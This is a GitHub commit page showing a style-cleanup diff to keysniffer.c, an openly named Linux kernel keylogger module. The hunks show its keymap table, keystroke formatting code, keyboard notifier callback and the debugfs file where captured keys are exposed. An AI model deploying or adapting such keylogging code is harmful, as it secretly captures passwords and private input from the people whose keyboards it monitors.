Skip to content

Commit

Permalink
Fix checkpatch.pl reports
Browse files Browse the repository at this point in the history
  • Loading branch information
jarun committed Mar 28, 2017
1 parent d7355de commit 3c105f9
Showing 1 changed file with 47 additions and 43 deletions.
90 changes: 47 additions & 43 deletions keysniffer.c
Original file line number Diff line number Diff line change
Expand Up @@ -26,14 +26,13 @@
#include <linux/debugfs.h>
#include <linux/input.h>

#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
#define CHUNK_LEN 12 /* Encoded 'keycode shift' chunk length */
#define US 0 /* Type code for US character log */
#define HEX 1 /* Type code for hexadecimal log */
#define DEC 2 /* Type code for decimal log */

#define MAX_ENC_LEN (sizeof(int) << 3) /* Length of an encoded 'code shift' chunk */
#define US 0 /* Type code for US character log */
#define HEX 1 /* Type code for hexadecimal log */
#define DEC 2 /* Type code for decimal log */

static int codes; /* Log type module parameter */
static int codes; /* Log type module parameter */

MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("Arun Prakash Jana <[email protected]>");
Expand All @@ -58,40 +57,45 @@ static int keysniffer_cb(struct notifier_block *nblock,

/* Definitions */

/* Keymap references:
https://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html
http://www.quadibloc.com/comp/scan.htm */
/*
* Keymap references:
* https://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html
* http://www.quadibloc.com/comp/scan.htm
*/
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"},
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, //0-3
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, //4-7
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, //8-11
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, //12-14
{"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, //20-23
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, //24-27
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, //32-35
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"}, //36-39
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"}, //40-43
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"}, //44-47
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"}, //48-51
{".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
{"_ALT_", "_ALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, {"_KPD7_", "_HOME_"},
{"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, {"-", "-"}, {"_KPD4_", "_LEFT_"},
{"_KPD5_", "_KPD5_"}, {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, {"_KPD._", "_DEL_"},
{"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, {"\0", "\0"}, {"F11", "F11"},
{"F12", "F12"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"}, {"_PRTSCR_", "_PRTSCR_"},
{"_ALT_", "_ALT_"}, {"\0", "\0"}, {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"},
{"_PGUP_", "_PGUP_"}, {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, {"_DEL_", "_DEL_"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"_PAUSE_", "_PAUSE_"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"}, //60-63
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, //64-67
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, //68-70
{"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, //71-73
{"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"}, //74-76
{"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"}, //77-79
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, //80-82
{"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, //83-85
{"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"}, //86-89
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"/", "/"},
{"_PRTSCR_", "_PRTSCR_"}, {"_ALT_", "_ALT_"}, {"\0", "\0"}, //99-101
{"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"}, //102-104
{"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, //108-110
{"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, //111-114
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, //115-118
{"_PAUSE_", "_PAUSE_"}, //119
};

static size_t buf_pos;
Expand Down Expand Up @@ -123,16 +127,16 @@ void keycode_to_string(int keycode, int shift_mask, char *buf, int type)
? us_keymap[keycode][1]
: us_keymap[keycode][0];

snprintf(buf, MAX_ENC_LEN, "%s", us_key);
snprintf(buf, CHUNK_LEN, "%s", us_key);
}
break;
case HEX:
if (keycode < KEY_MAX)
snprintf(buf, MAX_ENC_LEN, "%x %x", keycode, shift_mask);
snprintf(buf, CHUNK_LEN, "%x %x", keycode, shift_mask);
break;
case DEC:
if (keycode < KEY_MAX)
snprintf(buf, MAX_ENC_LEN, "%d %d", keycode, shift_mask);
snprintf(buf, CHUNK_LEN, "%d %d", keycode, shift_mask);
break;
}
}
Expand All @@ -143,7 +147,7 @@ int keysniffer_cb(struct notifier_block *nblock,
void *_param)
{
size_t len;
char keybuf[MAX_ENC_LEN] = {0};
char keybuf[CHUNK_LEN] = {0};
struct keyboard_notifier_param *param = _param;

pr_debug("code: 0x%lx, down: 0x%x, shift: 0x%x, value: 0x%x\n",
Expand Down Expand Up @@ -176,15 +180,15 @@ static int __init keysniffer_init(void)
buf_pos = 0;

if (codes < 0 || codes > 2)
return -EINVAL;
return -EINVAL;

subdir = debugfs_create_dir("kisni", NULL);
if (IS_ERR(subdir))
return PTR_ERR(subdir);
if (!subdir)
return -ENOENT;

file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);
if (!file) {
debugfs_remove_recursive(subdir);
return -ENOENT;
Expand Down

0 comments on commit 3c105f9

Please sign in to comment.